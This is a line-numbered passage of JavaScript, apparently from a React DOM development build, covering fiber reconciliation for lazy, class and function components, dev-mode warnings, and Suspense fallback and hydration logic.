19964 reconcileChildren(current, workInProgress, nextChildren, renderLanes);
19965 return workInProgress.child;
19966 }
19967
19968 function updateHostText(current, workInProgress) {
19969 if (current === null) {
19970 tryToClaimNextHydratableInstance(workInProgress);
19971 } // Nothing to do here. This is terminal. We'll do the completion step
19972 // immediately after.
19973
19974
19975 return null;
19976 }
19977
19978 function mountLazyComponent(_current, workInProgress, elementType, renderLanes) {
19979 resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);
19980 var props = workInProgress.pendingProps;
19981 var lazyComponent = elementType;
19982 var payload = lazyComponent._payload;
19983 var init = lazyComponent._init;
19984 var Component = init(payload); // Store the unwrapped component in the type.
19985
19986 workInProgress.type = Component;
19987 var resolvedTag = workInProgress.tag = resolveLazyComponentTag(Component);
19988 var resolvedProps = resolveDefaultProps(Component, props);
19989 var child;
19990
19991 switch (resolvedTag) {
19992 case FunctionComponent:
19993 {
19994 {
19995 validateFunctionComponentInDev(workInProgress, Component);
19996 workInProgress.type = Component = resolveFunctionForHotReloading(Component);
19997 }
19998
19999 child = updateFunctionComponent(null, workInProgress, Component, resolvedProps, renderLanes);
20000 return child;
20001 }
20002
20003 case ClassComponent:
20004 {
20005 {
20006 workInProgress.type = Component = resolveClassForHotReloading(Component);
20007 }
20008
20009 child = updateClassComponent(null, workInProgress, Component, resolvedProps, renderLanes);
20010 return child;
20011 }
20012
20013 case ForwardRef:
20014 {
20015 {
20016 workInProgress.type = Component = resolveForwardRefForHotReloading(Component);
20017 }
20018
20019 child = updateForwardRef(null, workInProgress, Component, resolvedProps, renderLanes);
20020 return child;
20021 }
20022
20023 case MemoComponent:
20024 {
20025 {
20026 if (workInProgress.type !== workInProgress.elementType) {
20027 var outerPropTypes = Component.propTypes;
20028
20029 if (outerPropTypes) {
20030 checkPropTypes(outerPropTypes, resolvedProps, // Resolved for outer only
20031 'prop', getComponentNameFromType(Component));
20032 }
20033 }
20034 }
20035
20036 child = updateMemoComponent(null, workInProgress, Component, resolveDefaultProps(Component.type, resolvedProps), // The inner type can have defaults too
20037 renderLanes);
20038 return child;
20039 }
20040 }
20041
20042 var hint = '';
20043
20044 {
20045 if (Component !== null && typeof Component === 'object' && Component.$$typeof === REACT_LAZY_TYPE) {
20046 hint = ' Did you wrap a component in React.lazy() more than once?';
20047 }
20048 } // This message intentionally doesn't mention ForwardRef or MemoComponent
20049 // because the fact that it's a separate type of work is an
20050 // implementation detail.
20051
20052
20053 throw new Error("Element type is invalid. Received a promise that resolves to: " + Component + ". " + ("Lazy element type must resolve to a class or function." + hint));
20054 }
20055
20056 function mountIncompleteClassComponent(_current, workInProgress, Component, nextProps, renderLanes) {
20057 resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress); // Promote the fiber to a class and try rendering again.
20058
20059 workInProgress.tag = ClassComponent; // The rest of this function is a fork of `updateClassComponent`
20060 // Push context providers early to prevent context stack mismatches.
20061 // During mounting we don't know the child context yet as the instance doesn't exist.
20062 // We will invalidate the child context in finishClassComponent() right after rendering.
20063
20064 var hasContext;
20065
20066 if (isContextProvider(Component)) {
20067 hasContext = true;
20068 pushContextProvider(workInProgress);
20069 } else {
20070 hasContext = false;
20071 }
20072
20073 prepareToReadContext(workInProgress, renderLanes);
20074 constructClassInstance(workInProgress, Component, nextProps);
20075 mountClassInstance(workInProgress, Component, nextProps, renderLanes);
20076 return finishClassComponent(null, workInProgress, Component, true, hasContext, renderLanes);
20077 }
20078
20079 function mountIndeterminateComponent(_current, workInProgress, Component, renderLanes) {
20080 resetSuspendedCurrentOnMountInLegacyMode(_current, workInProgress);
20081 var props = workInProgress.pendingProps;
20082 var context;
20083
20084 {
20085 var unmaskedContext = getUnmaskedContext(workInProgress, Component, false);
20086 context = getMaskedContext(workInProgress, unmaskedContext);
20087 }
20088
20089 prepareToReadContext(workInProgress, renderLanes);
20090 var value;
20091 var hasId;
20092
20093 {
20094 markComponentRenderStarted(workInProgress);
20095 }
20096
20097 {
20098 if (Component.prototype && typeof Component.prototype.render === 'function') {
20099 var componentName = getComponentNameFromType(Component) || 'Unknown';
20100
20101 if (!didWarnAboutBadClass[componentName]) {
20102 error("The <%s /> component appears to have a render method, but doesn't extend React.Component. " + 'This is likely to cause errors. Change %s to extend React.Component instead.', componentName, componentName);
20103
20104 didWarnAboutBadClass[componentName] = true;
20105 }
20106 }
20107
20108 if (workInProgress.mode & StrictLegacyMode) {
20109 ReactStrictModeWarnings.recordLegacyContextWarning(workInProgress, null);
20110 }
20111
20112 setIsRendering(true);
20113 ReactCurrentOwner$1.current = workInProgress;
20114 value = renderWithHooks(null, workInProgress, Component, props, context, renderLanes);
20115 hasId = checkDidRenderIdHook();
20116 setIsRendering(false);
20117 }
20118
20119 {
20120 markComponentRenderStopped();
20121 } // React DevTools reads this flag.
20122
20123
20124 workInProgress.flags |= PerformedWork;
20125
20126 {
20127 // Support for module components is deprecated and is removed behind a flag.
20128 // Whether or not it would crash later, we want to show a good message in DEV first.
20129 if (typeof value === 'object' && value !== null && typeof value.render === 'function' && value.$$typeof === undefined) {
20130 var _componentName = getComponentNameFromType(Component) || 'Unknown';
20131
20132 if (!didWarnAboutModulePatternComponent[_componentName]) {
20133 error('The <%s /> component appears to be a function component that returns a class instance. ' + 'Change %s to a class that extends React.Component instead. ' + "If you can't use a class try assigning the prototype on the function as a workaround. " + "`%s.prototype = React.Component.prototype`. Don't use an arrow function since it " + 'cannot be called with `new` by React.', _componentName, _componentName, _componentName);
20134
20135 didWarnAboutModulePatternComponent[_componentName] = true;
20136 }
20137 }
20138 }
20139
20140 if ( // Run these checks in production only if the flag is off.
20141 // Eventually we'll delete this branch altogether.
20142 typeof value === 'object' && value !== null && typeof value.render === 'function' && value.$$typeof === undefined) {
20143 {
20144 var _componentName2 = getComponentNameFromType(Component) || 'Unknown';
20145
20146 if (!didWarnAboutModulePatternComponent[_componentName2]) {
20147 error('The <%s /> component appears to be a function component that returns a class instance. ' + 'Change %s to a class that extends React.Component instead. ' + "If you can't use a class try assigning the prototype on the function as a workaround. " + "`%s.prototype = React.Component.prototype`. Don't use an arrow function since it " + 'cannot be called with `new` by React.', _componentName2, _componentName2, _componentName2);
20148
20149 didWarnAboutModulePatternComponent[_componentName2] = true;
20150 }
20151 } // Proceed under the assumption that this is a class instance
20152
20153
20154 workInProgress.tag = ClassComponent; // Throw out any hooks that were used.
20155
20156 workInProgress.memoizedState = null;
20157 workInProgress.updateQueue = null; // Push context providers early to prevent context stack mismatches.
20158 // During mounting we don't know the child context yet as the instance doesn't exist.
20159 // We will invalidate the child context in finishClassComponent() right after rendering.
20160
20161 var hasContext = false;
20162
20163 if (isContextProvider(Component)) {
20164 hasContext = true;
20165 pushContextProvider(workInProgress);
20166 } else {
20167 hasContext = false;
20168 }
20169
20170 workInProgress.memoizedState = value.state !== null && value.state !== undefined ? value.state : null;
20171 initializeUpdateQueue(workInProgress);
20172 adoptClassInstance(workInProgress, value);
20173 mountClassInstance(workInProgress, Component, props, renderLanes);
20174 return finishClassComponent(null, workInProgress, Component, true, hasContext, renderLanes);
20175 } else {
20176 // Proceed under the assumption that this is a function component
20177 workInProgress.tag = FunctionComponent;
20178
20179 {
20180
20181 if ( workInProgress.mode & StrictLegacyMode) {
20182 setIsStrictModeForDevtools(true);
20183
20184 try {
20185 value = renderWithHooks(null, workInProgress, Component, props, context, renderLanes);
20186 hasId = checkDidRenderIdHook();
20187 } finally {
20188 setIsStrictModeForDevtools(false);
20189 }
20190 }
20191 }
20192
20193 if (getIsHydrating() && hasId) {
20194 pushMaterializedTreeId(workInProgress);
20195 }
20196
20197 reconcileChildren(null, workInProgress, value, renderLanes);
20198
20199 {
20200 validateFunctionComponentInDev(workInProgress, Component);
20201 }
20202
20203 return workInProgress.child;
20204 }
20205 }
20206
20207 function validateFunctionComponentInDev(workInProgress, Component) {
20208 {
20209 if (Component) {
20210 if (Component.childContextTypes) {
20211 error('%s(...): childContextTypes cannot be defined on a function component.', Component.displayName || Component.name || 'Component');
20212 }
20213 }
20214
20215 if (workInProgress.ref !== null) {
20216 var info = '';
20217 var ownerName = getCurrentFiberOwnerNameInDevOrNull();
20218
20219 if (ownerName) {
20220 info += '\n\nCheck the render method of `' + ownerName + '`.';
20221 }
20222
20223 var warningKey = ownerName || '';
20224 var debugSource = workInProgress._debugSource;
20225
20226 if (debugSource) {
20227 warningKey = debugSource.fileName + ':' + debugSource.lineNumber;
20228 }
20229
20230 if (!didWarnAboutFunctionRefs[warningKey]) {
20231 didWarnAboutFunctionRefs[warningKey] = true;
20232
20233 error('Function components cannot be given refs. ' + 'Attempts to access this ref will fail. ' + 'Did you mean to use React.forwardRef()?%s', info);
20234 }
20235 }
20236
20237 if ( Component.defaultProps !== undefined) {
20238 var componentName = getComponentNameFromType(Component) || 'Unknown';
20239
20240 if (!didWarnAboutDefaultPropsOnFunctionComponent[componentName]) {
20241 error('%s: Support for defaultProps will be removed from function components ' + 'in a future major release. Use JavaScript default parameters instead.', componentName);
20242
20243 didWarnAboutDefaultPropsOnFunctionComponent[componentName] = true;
20244 }
20245 }
20246
20247 if (typeof Component.getDerivedStateFromProps === 'function') {
20248 var _componentName3 = getComponentNameFromType(Component) || 'Unknown';
20249
20250 if (!didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3]) {
20251 error('%s: Function components do not support getDerivedStateFromProps.', _componentName3);
20252
20253 didWarnAboutGetDerivedStateOnFunctionComponent[_componentName3] = true;
20254 }
20255 }
20256
20257 if (typeof Component.contextType === 'object' && Component.contextType !== null) {
20258 var _componentName4 = getComponentNameFromType(Component) || 'Unknown';
20259
20260 if (!didWarnAboutContextTypeOnFunctionComponent[_componentName4]) {
20261 error('%s: Function components do not support contextType.', _componentName4);
20262
20263 didWarnAboutContextTypeOnFunctionComponent[_componentName4] = true;
20264 }
20265 }
20266 }
20267 }
20268
20269 var SUSPENDED_MARKER = {
20270 dehydrated: null,
20271 treeContext: null,
20272 retryLane: NoLane
20273 };
20274
20275 function mountSuspenseOffscreenState(renderLanes) {
20276 return {
20277 baseLanes: renderLanes,
20278 cachePool: getSuspendedCache(),
20279 transitions: null
20280 };
20281 }
20282
20283 function updateSuspenseOffscreenState(prevOffscreenState, renderLanes) {
20284 var cachePool = null;
20285
20286 return {
20287 baseLanes: mergeLanes(prevOffscreenState.baseLanes, renderLanes),
20288 cachePool: cachePool,
20289 transitions: prevOffscreenState.transitions
20290 };
20291 } // TODO: Probably should inline this back
20292
20293
20294 function shouldRemainOnFallback(suspenseContext, current, workInProgress, renderLanes) {
20295 // If we're already showing a fallback, there are cases where we need to
20296 // remain on that fallback regardless of whether the content has resolved.
20297 // For example, SuspenseList coordinates when nested content appears.
20298 if (current !== null) {
20299 var suspenseState = current.memoizedState;
20300
20301 if (suspenseState === null) {
20302 // Currently showing content. Don't hide it, even if ForceSuspenseFallback
20303 // is true. More precise name might be "ForceRemainSuspenseFallback".
20304 // Note: This is a factoring smell. Can't remain on a fallback if there's
20305 // no fallback to remain on.
20306 return false;
20307 }
20308 } // Not currently showing content. Consult the Suspense context.
20309
20310
20311 return hasSuspenseContext(suspenseContext, ForceSuspenseFallback);
20312 }
20313
20314 function getRemainingWorkInPrimaryTree(current, renderLanes) {
20315 // TODO: Should not remove render lanes that were pinged during this render
20316 return removeLanes(current.childLanes, renderLanes);
20317 }
20318
20319 function updateSuspenseComponent(current, workInProgress, renderLanes) {
20320 var nextProps = workInProgress.pendingProps; // This is used by DevTools to force a boundary to suspend.
20321
20322 {
20323 if (shouldSuspend(workInProgress)) {
20324 workInProgress.flags |= DidCapture;
20325 }
20326 }
20327
20328 var suspenseContext = suspenseStackCursor.current;
20329 var showFallback = false;
20330 var didSuspend = (workInProgress.flags & DidCapture) !== NoFlags;
20331
20332 if (didSuspend || shouldRemainOnFallback(suspenseContext, current)) {
20333 // Something in this boundary's subtree already suspended. Switch to
20334 // rendering the fallback children.
20335 showFallback = true;
20336 workInProgress.flags &= ~DidCapture;
20337 } else {
20338 // Attempting the main content
20339 if (current === null || current.memoizedState !== null) {
20340 // This is a new mount or this boundary is already showing a fallback state.
20341 // Mark this subtree context as having at least one invisible parent that could
20342 // handle the fallback state.
20343 // Avoided boundaries are not considered since they cannot handle preferred fallback states.
20344 {
20345 suspenseContext = addSubtreeSuspenseContext(suspenseContext, InvisibleParentSuspenseContext);
20346 }
20347 }
20348 }
20349
20350 suspenseContext = setDefaultShallowSuspenseContext(suspenseContext);
20351 pushSuspenseContext(workInProgress, suspenseContext); // OK, the next part is confusing. We're about to reconcile the Suspense
20352 // boundary's children. This involves some custom reconciliation logic. Two
20353 // main reasons this is so complicated.
20354 //
20355 // First, Legacy Mode has different semantics for backwards compatibility. The
20356 // primary tree will commit in an inconsistent state, so when we do the
20357 // second pass to render the fallback, we do some exceedingly, uh, clever
20358 // hacks to make that not totally break. Like transferring effects and
20359 // deletions from hidden tree. In Concurrent Mode, it's much simpler,
20360 // because we bailout on the primary tree completely and leave it in its old
20361 // state, no effects. Same as what we do for Offscreen (except that
20362 // Offscreen doesn't have the first render pass).
20363 //
20364 // Second is hydration. During hydration, the Suspense fiber has a slightly
20365 // different layout, where the child points to a dehydrated fragment, which
20366 // contains the DOM rendered by the server.
20367 //
20368 // Third, even if you set all that aside, Suspense is like error boundaries in
20369 // that we first we try to render one tree, and if that fails, we render again
20370 // and switch to a different tree. Like a try/catch block. So we have to track
20371 // which branch we're currently rendering. Ideally we would model this using
20372 // a stack.
20373
20374 if (current === null) {
20375 // Initial mount
20376 // Special path for hydration
20377 // If we're currently hydrating, try to hydrate this boundary.
20378 tryToClaimNextHydratableInstance(workInProgress); // This could've been a dehydrated suspense component.
20379
20380 var suspenseState = workInProgress.memoizedState;
20381
20382 if (suspenseState !== null) {
20383 var dehydrated = suspenseState.dehydrated;
20384
20385 if (dehydrated !== null) {
20386 return mountDehydratedSuspenseComponent(workInProgress, dehydrated);
20387 }
20388 }
20389
20390 var nextPrimaryChildren = nextProps.children;
20391 var nextFallbackChildren = nextProps.fallback;
20392
20393 if (showFallback) {
20394 var fallbackFragment = mountSuspenseFallbackChildren(workInProgress, nextPrimaryChildren, nextFallbackChildren, renderLanes);
20395 var primaryChildFragment = workInProgress.child;
20396 primaryChildFragment.memoizedState = mountSuspenseOffscreenState(renderLanes);
20397 workInProgress.memoizedState = SUSPENDED_MARKER;
20398
20399 return fallbackFragment;
20400 } else {
20401 return mountSuspensePrimaryChildren(workInProgress, nextPrimaryChildren);
20402 }
20403 } else {
20404 // This is an update.
20405 // Special path for hydration
20406 var prevState = current.memoizedState;
20407
20408 if (prevState !== null) {
20409 var _dehydrated = prevState.dehydrated;
20410
20411 if (_dehydrated !== null) {
20412 return updateDehydratedSuspenseComponent(current, workInProgress, didSuspend, nextProps, _dehydrated, prevState, renderLanes);
20413 }
20414 }
20415
20416 if (showFallback) {
20417 var _nextFallbackChildren = nextProps.fallback;
20418 var _nextPrimaryChildren = nextProps.children;
20419 var fallbackChildFragment = updateSuspenseFallbackChildren(current, workInProgress, _nextPrimaryChildren, _nextFallbackChildren, renderLanes);
20420 var _primaryChildFragment2 = workInProgress.child;
20421 var prevOffscreenState = current.child.memoizedState;
20422 _primaryChildFragment2.memoizedState = prevOffscreenState === null ? mountSuspenseOffscreenState(renderLanes) : updateSuspenseOffscreenState(prevOffscreenState, renderLanes);
20423
20424 _primaryChildFragment2.childLanes = getRemainingWorkInPrimaryTree(current, renderLanes);
20425 workInProgress.memoizedState = SUSPENDED_MARKER;
20426 return fallbackChildFragment;
20427 } else {
20428 var _nextPrimaryChildren2 = nextProps.children;
20429
20430 var _primaryChildFragment3 = updateSuspensePrimaryChildren(current, workInProgress, _nextPrimaryChildren2, renderLanes);
20431
20432 workInProgress.memoizedState = null;
20433 return _primaryChildFragment3;
20434 }
20435 }
20436 }
20437
20438 function mountSuspensePrimaryChildren(workInProgress, primaryChildren, renderLanes) {
20439 var mode = workInProgress.mode;
20440 var primaryChildProps = {
20441 mode: 'visible',
20442 children: primaryChildren
20443 };
20444 var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
20445 primaryChildFragment.return = workInProgress;
20446 workInProgress.child = primaryChildFragment;
20447 return primaryChildFragment;
20448 }
20449
20450 function mountSuspenseFallbackChildren(workInProgress, primaryChildren, fallbackChildren, renderLanes) {
20451 var mode = workInProgress.mode;
20452 var progressedPrimaryFragment = workInProgress.child;
20453 var primaryChildProps = {
20454 mode: 'hidden',
20455 children: primaryChildren
20456 };
20457 var primaryChildFragment;
20458 var fallbackChildFragment;
20459
20460 if ((mode & ConcurrentMode) === NoMode && progressedPrimaryFragment !== null) {
20461 // In legacy mode, we commit the primary tree as if it successfully
20462 // completed, even though it's in an inconsistent state.
20463 primaryChildFragment = progressedPrimaryFragment;
20464 primaryChildFragment.childLanes = NoLanes;
20465 primaryChildFragment.pendingProps = primaryChildProps;
20466
20467 if ( workInProgress.mode & ProfileMode) {
20468 // Reset the durations from the first pass so they aren't included in the
20469 // final amounts. This seems counterintuitive, since we're intentionally
20470 // not measuring part of the render phase, but this makes it match what we
20471 // do in Concurrent Mode.
20472 primaryChildFragment.actualDuration = 0;
20473 primaryChildFragment.actualStartTime = -1;
20474 primaryChildFragment.selfBaseDuration = 0;
20475 primaryChildFragment.treeBaseDuration = 0;
20476 }
20477
20478 fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null);
20479 } else {
20480 primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, mode);
20481 fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null);
20482 }
20483
20484 primaryChildFragment.return = workInProgress;
20485 fallbackChildFragment.return = workInProgress;
20486 primaryChildFragment.sibling = fallbackChildFragment;
20487 workInProgress.child = primaryChildFragment;
20488 return fallbackChildFragment;
20489 }
20490
20491 function mountWorkInProgressOffscreenFiber(offscreenProps, mode, renderLanes) {
20492 // The props argument to `createFiberFromOffscreen` is `any` typed, so we use
20493 // this wrapper function to constrain it.
20494 return createFiberFromOffscreen(offscreenProps, mode, NoLanes, null);
20495 }
20496
20497 function updateWorkInProgressOffscreenFiber(current, offscreenProps) {
20498 // The props argument to `createWorkInProgress` is `any` typed, so we use this
20499 // wrapper function to constrain it.
20500 return createWorkInProgress(current, offscreenProps);
20501 }
20502
20503 function updateSuspensePrimaryChildren(current, workInProgress, primaryChildren, renderLanes) {
20504 var currentPrimaryChildFragment = current.child;
20505 var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
20506 var primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, {
20507 mode: 'visible',
20508 children: primaryChildren
20509 });
20510
20511 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
20512 primaryChildFragment.lanes = renderLanes;
20513 }
20514
20515 primaryChildFragment.return = workInProgress;
20516 primaryChildFragment.sibling = null;
20517
20518 if (currentFallbackChildFragment !== null) {
20519 // Delete the fallback child fragment
20520 var deletions = workInProgress.deletions;
20521
20522 if (deletions === null) {
20523 workInProgress.deletions = [currentFallbackChildFragment];
20524 workInProgress.flags |= ChildDeletion;
20525 } else {
20526 deletions.push(currentFallbackChildFragment);
20527 }
20528 }
20529
20530 workInProgress.child = primaryChildFragment;
20531 return primaryChildFragment;
20532 }
20533
20534 function updateSuspenseFallbackChildren(current, workInProgress, primaryChildren, fallbackChildren, renderLanes) {
20535 var mode = workInProgress.mode;
20536 var currentPrimaryChildFragment = current.child;
20537 var currentFallbackChildFragment = currentPrimaryChildFragment.sibling;
20538 var primaryChildProps = {
20539 mode: 'hidden',
20540 children: primaryChildren
20541 };
20542 var primaryChildFragment;
20543
20544 if ( // In legacy mode, we commit the primary tree as if it successfully
20545 // completed, even though it's in an inconsistent state.
20546 (mode & ConcurrentMode) === NoMode && // Make sure we're on the second pass, i.e. the primary child fragment was
20547 // already cloned. In legacy mode, the only case where this isn't true is
20548 // when DevTools forces us to display a fallback; we skip the first render
20549 // pass entirely and go straight to rendering the fallback. (In Concurrent
20550 // Mode, SuspenseList can also trigger this scenario, but this is a legacy-
20551 // only codepath.)
20552 workInProgress.child !== currentPrimaryChildFragment) {
20553 var progressedPrimaryFragment = workInProgress.child;
20554 primaryChildFragment = progressedPrimaryFragment;
20555 primaryChildFragment.childLanes = NoLanes;
20556 primaryChildFragment.pendingProps = primaryChildProps;
20557
20558 if ( workInProgress.mode & ProfileMode) {
20559 // Reset the durations from the first pass so they aren't included in the
20560 // final amounts. This seems counterintuitive, since we're intentionally
20561 // not measuring part of the render phase, but this makes it match what we
20562 // do in Concurrent Mode.
20563 primaryChildFragment.actualDuration = 0;
20564 primaryChildFragment.actualStartTime = -1;
20565 primaryChildFragment.selfBaseDuration = currentPrimaryChildFragment.selfBaseDuration;
20566 primaryChildFragment.treeBaseDuration = currentPrimaryChildFragment.treeBaseDuration;
20567 } // The fallback fiber was added as a deletion during the first pass.
20568 // However, since we're going to remain on the fallback, we no longer want
20569 // to delete it.
20570
20571
20572 workInProgress.deletions = null;
20573 } else {
20574 primaryChildFragment = updateWorkInProgressOffscreenFiber(currentPrimaryChildFragment, primaryChildProps); // Since we're reusing a current tree, we need to reuse the flags, too.
20575 // (We don't do this in legacy mode, because in legacy mode we don't re-use
20576 // the current tree; see previous branch.)
20577
20578 primaryChildFragment.subtreeFlags = currentPrimaryChildFragment.subtreeFlags & StaticMask;
20579 }
20580
20581 var fallbackChildFragment;
20582
20583 if (currentFallbackChildFragment !== null) {
20584 fallbackChildFragment = createWorkInProgress(currentFallbackChildFragment, fallbackChildren);
20585 } else {
20586 fallbackChildFragment = createFiberFromFragment(fallbackChildren, mode, renderLanes, null); // Needs a placement effect because the parent (the Suspense boundary) already
20587 // mounted but this is a new fiber.
20588
20589 fallbackChildFragment.flags |= Placement;
20590 }
20591
20592 fallbackChildFragment.return = workInProgress;
20593 primaryChildFragment.return = workInProgress;
20594 primaryChildFragment.sibling = fallbackChildFragment;
20595 workInProgress.child = primaryChildFragment;
20596 return fallbackChildFragment;
20597 }
20598
20599 function retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, recoverableError) {
20600 // Falling back to client rendering. Because this has performance
20601 // implications, it's considered a recoverable error, even though the user
20602 // likely won't observe anything wrong with the UI.
20603 //
20604 // The error is passed in as an argument to enforce that every caller provide
20605 // a custom message, or explicitly opt out (currently the only path that opts
20606 // out is legacy mode; every concurrent path provides an error).
20607 if (recoverableError !== null) {
20608 queueHydrationError(recoverableError);
20609 } // This will add the old fiber to the deletion list
20610
20611
20612 reconcileChildFibers(workInProgress, current.child, null, renderLanes); // We're now not suspended nor dehydrated.
20613
20614 var nextProps = workInProgress.pendingProps;
20615 var primaryChildren = nextProps.children;
20616 var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress, primaryChildren); // Needs a placement effect because the parent (the Suspense boundary) already
20617 // mounted but this is a new fiber.
20618
20619 primaryChildFragment.flags |= Placement;
20620 workInProgress.memoizedState = null;
20621 return primaryChildFragment;
20622 }
20623
20624 function mountSuspenseFallbackAfterRetryWithoutHydrating(current, workInProgress, primaryChildren, fallbackChildren, renderLanes) {
20625 var fiberMode = workInProgress.mode;
20626 var primaryChildProps = {
20627 mode: 'visible',
20628 children: primaryChildren
20629 };
20630 var primaryChildFragment = mountWorkInProgressOffscreenFiber(primaryChildProps, fiberMode);
20631 var fallbackChildFragment = createFiberFromFragment(fallbackChildren, fiberMode, renderLanes, null); // Needs a placement effect because the parent (the Suspense
20632 // boundary) already mounted but this is a new fiber.
20633
20634 fallbackChildFragment.flags |= Placement;
20635 primaryChildFragment.return = workInProgress;
20636 fallbackChildFragment.return = workInProgress;
20637 primaryChildFragment.sibling = fallbackChildFragment;
20638 workInProgress.child = primaryChildFragment;
20639
20640 if ((workInProgress.mode & ConcurrentMode) !== NoMode) {
20641 // We will have dropped the effect list which contains the
20642 // deletion. We need to reconcile to delete the current child.
20643 reconcileChildFibers(workInProgress, current.child, null, renderLanes);
20644 }
20645
20646 return fallbackChildFragment;
20647 }
20648
20649 function mountDehydratedSuspenseComponent(workInProgress, suspenseInstance, renderLanes) {
20650 // During the first pass, we'll bail out and not drill into the children.
20651 // Instead, we'll leave the content in place and try to hydrate it later.
20652 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
20653 {
20654 error('Cannot hydrate Suspense in legacy mode. Switch from ' + 'ReactDOM.hydrate(element, container) to ' + 'ReactDOMClient.hydrateRoot(container, <App />)' + '.render(element) or remove the Suspense components from ' + 'the server rendered components.');
20655 }
20656
20657 workInProgress.lanes = laneToLanes(SyncLane);
20658 } else if (isSuspenseInstanceFallback(suspenseInstance)) {
20659 // This is a client-only boundary. Since we won't get any content from the server
20660 // for this, we need to schedule that at a higher priority based on when it would
20661 // have timed out. In theory we could render it in this pass but it would have the
20662 // wrong priority associated with it and will prevent hydration of parent path.
20663 // Instead, we'll leave work left on it to render it in a separate commit.
20664 // TODO This time should be the time at which the server rendered response that is
20665 // a parent to this boundary was displayed. However, since we currently don't have
20666 // a protocol to transfer that time, we'll just estimate it by using the current
20667 // time. This will mean that Suspense timeouts are slightly shifted to later than
20668 // they should be.
20669 // Schedule a normal pri update to render this content.
20670 workInProgress.lanes = laneToLanes(DefaultHydrationLane);
20671 } else {
20672 // We'll continue hydrating the rest at offscreen priority since we'll already
20673 // be showing the right content coming from the server, it is no rush.
20674 workInProgress.lanes = laneToLanes(OffscreenLane);
20675 }
20676
20677 return null;
20678 }
20679
20680 function updateDehydratedSuspenseComponent(current, workInProgress, didSuspend, nextProps, suspenseInstance, suspenseState, renderLanes) {
20681 if (!didSuspend) {
20682 // This is the first render pass. Attempt to hydrate.
20683 // We should never be hydrating at this point because it is the first pass,
20684 // but after we've already committed once.
20685 warnIfHydrating();
20686
20687 if ((workInProgress.mode & ConcurrentMode) === NoMode) {
20688 return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, // TODO: When we delete legacy mode, we should make this error argument
20689 // required — every concurrent mode path that causes hydration to
20690 // de-opt to client rendering should have an error message.
20691 null);
20692 }
20693
20694 if (isSuspenseInstanceFallback(suspenseInstance)) {
20695 // This boundary is in a permanent fallback state. In this case, we'll never
20696 // get an update and we'll never be able to hydrate the final content. Let's just try the
20697 // client side render instead.
20698 var digest, message, stack;
20699
20700 {
20701 var _getSuspenseInstanceF = getSuspenseInstanceFallbackErrorDetails(suspenseInstance);
20702
20703 digest = _getSuspenseInstanceF.digest;
20704 message = _getSuspenseInstanceF.message;
20705 stack = _getSuspenseInstanceF.stack;
20706 }
20707
20708 var error;
20709
20710 if (message) {
20711 // eslint-disable-next-line react-internal/prod-error-codes
20712 error = new Error(message);
20713 } else {
20714 error = new Error('The server could not finish this Suspense boundary, likely ' + 'due to an error during server rendering. Switched to ' + 'client rendering.');
20715 }
20716
20717 var capturedValue = createCapturedValue(error, digest, stack);
20718 return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, capturedValue);
20719 }
20720 // any context has changed, we need to treat is as if the input might have changed.
20721
20722
20723 var hasContextChanged = includesSomeLane(renderLanes, current.childLanes);
20724
20725 if (didReceiveUpdate || hasContextChanged) {
20726 // This boundary has changed since the first render. This means that we are now unable to
20727 // hydrate it. We might still be able to hydrate it using a higher priority lane.
20728 var root = getWorkInProgressRoot();
20729
20730 if (root !== null) {
20731 var attemptHydrationAtLane = getBumpedLaneForHydration(root, renderLanes);
20732
20733 if (attemptHydrationAtLane !== NoLane && attemptHydrationAtLane !== suspenseState.retryLane) {
20734 // Intentionally mutating since this render will get interrupted. This
20735 // is one of the very rare times where we mutate the current tree
20736 // during the render phase.
20737 suspenseState.retryLane = attemptHydrationAtLane; // TODO: Ideally this would inherit the event time of the current render
20738
20739 var eventTime = NoTimestamp;
20740 enqueueConcurrentRenderForLane(current, attemptHydrationAtLane);
20741 scheduleUpdateOnFiber(root, current, attemptHydrationAtLane, eventTime);
20742 }
20743 } // If we have scheduled higher pri work above, this will probably just abort the render
20744 // since we now have higher priority work, but in case it doesn't, we need to prepare to
20745 // render something, if we time out. Even if that requires us to delete everything and
20746 // skip hydration.
20747 // Delay having to do this as long as the suspense timeout allows us.
20748
20749
20750 renderDidSuspendDelayIfPossible();
20751
20752 var _capturedValue = createCapturedValue(new Error('This Suspense boundary received an update before it finished ' + 'hydrating. This caused the boundary to switch to client rendering. ' + 'The usual way to fix this is to wrap the original update ' + 'in startTransition.'));
20753
20754 return retrySuspenseComponentWithoutHydrating(current, workInProgress, renderLanes, _capturedValue);
20755 } else if (isSuspenseInstancePending(suspenseInstance)) {
20756 // This component is still pending more data from the server, so we can't hydrate its
20757 // content. We treat it as if this component suspended itself. It might seem as if
20758 // we could just try to render it client-side instead. However, this will perform a
20759 // lot of unnecessary work and is unlikely to complete since it often will suspend
20760 // on missing data anyway. Additionally, the server might be able to render more
20761 // than we can on the client yet. In that case we'd end up with more fallback states
20762 // on the client than if we just leave it alone. If the server times out or errors
20763 // these should update this boundary to the permanent Fallback state instead.
20764 // Mark it as having captured (i.e. suspended).
20765 workInProgress.flags |= DidCapture; // Leave the child in place. I.e. the dehydrated fragment.
20766
20767 workInProgress.child = current.child; // Register a callback to retry this boundary once the server has sent the result.
20768
20769 var retry = retryDehydratedSuspenseBoundary.bind(null, current);
20770 registerSuspenseInstanceRetry(suspenseInstance, retry);
20771 return null;
20772 } else {
20773 // This is the first attempt.
20774 reenterHydrationStateFromDehydratedSuspenseInstance(workInProgress, suspenseInstance, suspenseState.treeContext);
20775 var primaryChildren = nextProps.children;
20776 var primaryChildFragment = mountSuspensePrimaryChildren(workInProgress, primaryChildren); // Mark the children as hydrating. This is a fast path to know whether this
20777 // tree is part of a hydrating tree. This is used to determine if a child
20778 // node has fully mounted yet, and for scheduling event replaying.
